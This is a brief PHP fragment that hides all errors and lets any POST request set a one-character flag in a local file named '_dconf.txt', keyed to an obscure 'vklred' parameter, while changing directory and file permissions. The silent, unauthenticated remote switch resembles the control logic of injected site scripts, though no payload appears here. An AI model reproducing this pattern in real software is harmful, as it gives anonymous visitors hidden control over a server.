@error_reporting(0); @ini_set("display_errors", FALSE); $dir = @dirname(__FILE__) . "/"; $file = ((empty($dir)) ? "" : $dir) . "_dconf.txt"; if (@file_exists($file)) { $f = @fopen($file, "r"); $d = @fread($f, 1); @fclose($f); unset($f); if ($d != "1") { $d = "0"; } } if (isset($_POST) AND (sizeof($_POST) > 0)) { if (isset($_POST["vklred"])) { $d = "1"; } else { $d = "0"; } if (@is_writable($dir) === FALSE) { @chmod($dir, 0755); } $f = @fopen($file, "w"); @fwrite($f, $d); @fclose($f); @chmod($file, 0755); } ?>